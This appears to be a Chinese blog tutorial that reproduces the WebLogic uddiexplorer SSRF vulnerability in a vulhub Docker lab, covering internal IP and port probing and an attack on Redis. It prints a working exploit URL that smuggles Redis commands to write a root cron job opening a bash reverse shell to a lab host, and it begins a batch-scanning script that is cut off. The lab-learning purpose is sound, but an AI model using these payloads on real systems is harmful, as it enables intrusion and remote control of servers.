Weblogic SSRF漏洞

本文详细介绍了WebLogic Server Side Request Forgery (SSRF)漏洞的概念、复现步骤、利用方式以及防御措施。通过搭建漏洞环境,演示了如何探测内网存活IP、端口,以及利用SSRF攻击Redis。同时,文章还讨论了如何通过IP地址改写、使用特殊域名、DNS解析和IPv6等方法绕过过滤。最后,提出了包括限制请求端口、验证响应信息和使用URL白名单在内的防御策略。

前言

SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。

SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)

漏洞环境搭建

这里我们选择使用vulhub搭建docker进行漏洞复现。

首先安装curl和docker

sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功

然后安装python和pip环境(如果没有),命令如下

sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功

然后再安装docker-compose

pip install docker-compose
docker-compose -v

在这里插入图片描述

到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上

git clone https://github.com/vulhub/vulhub.git

之后进入SSRF的漏洞环境

在这里插入图片描述

在这里插入图片描述

漏洞复现

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

在这里插入图片描述

访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

出现以下页面,说明测试环境ok。

在这里插入图片描述
访问以下页面,确认是否存在SSRF漏洞。

http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.43.46

在这里插入图片描述
其中,最后的operator参数为内网ip,若存在此报错: weblogic.uddi.client.structures.exception.XML_SoapException,说明存在SSRF漏洞。

漏洞利用

探测内网存活IP

在这里插入图片描述
说明这个内网IP存在。

在这里插入图片描述

这样说明IP不存在。

探测端口

在这里插入图片描述此报错说明该端口存在。

同理反之则证明该端口不存在。

攻击Redis

在这里插入图片描述
172.18.0.2是Redis的内网IP地址。

在这里插入图片描述

探测到内网redis服务开放。

准备攻击代码

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.43.46/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将上述攻击代码转换成URL编码:

test0D%0A%0D%0A
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%220D%0Aconfig%20set%20dir%20%2Fetc%2F0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

开启监听端口:

在这里插入图片描述

访问:

http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

在这里插入图片描述
具体流程是

在这里插入图片描述

批量检测脚本

批量检测weblogic_SSRF漏洞

#!/usr/bin/env python  
# -*- coding: utf-8 -*-
# 功能:批量探测weblogic SSRF漏洞


import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()

class Weblogic_SSRF_Check(threading.Thread):
    """docstring for Weblogic_SSRF_Check"""
    def __init__(self, queue):
      
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值